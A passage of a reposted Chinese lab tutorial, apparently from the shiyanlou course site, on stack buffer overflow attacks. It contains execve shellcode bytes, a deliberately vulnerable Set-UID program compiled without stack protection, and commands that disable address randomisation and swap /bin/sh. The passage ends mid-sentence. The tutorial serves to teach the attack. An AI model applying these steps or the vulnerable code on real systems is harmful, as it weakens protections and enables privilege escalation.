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缓冲区溢出漏洞试验

来源：程序员人生发布时间：2015-04-23 08:32:39 阅读次数：3540次

本文详细出自http://www.shiyanlou.com/courses/231,转载请注明出处。

1、实验描写

缓冲区溢出是指程序试图向缓冲区写入超越预分配固定长度数据的情况。这1漏洞可以被歹意用户利用来改变程序的流控制，乃至履行代码的任意片断。这1漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引发返回地址被重写。

2、实验准备

系统用户名shiyanlou，密码shiyanlou
实验楼提供的是64位Ubuntu linux，而本次实验为了方便视察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做1些准备。
1、输入命令安装1些用于编译32位C程序的东西：

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那末爽了，比如不能tab补全了，所以输入“/bin/bash”使用bash：
02-01

3、实验步骤

3.1 初始设置

Ubuntu和其他1些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜想准确的内存地址变得10分困难，而猜想内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这1功能：

sudo sysctl -w kernel.randomize_va_space=0

另外，为了进1步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即便你能欺骗1个Set-UID程序调用1个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的1个符号链接。为了重现这1防护措施被实现之前的情形，我们使用另外一个shell程序（zsh）代替/bin/bash。下面的指令描写了如何设置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

3.2 shellcode

1般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另外一个地址，那末程序就会跳转到该地址，如果该地址寄存的是1段精心设计的代码用于实现其他功能，这段代码就是shellcode。
视察以下代码：

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的shellcode，就是刚才代码的汇编版本：

x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80

3.3 漏洞程序

把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码以下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}

通过代码可以知道，程序会读取1个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。命令以下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC编译器有1种栈保护机制来禁止缓冲区溢出，所以我们在编译代码时需要用

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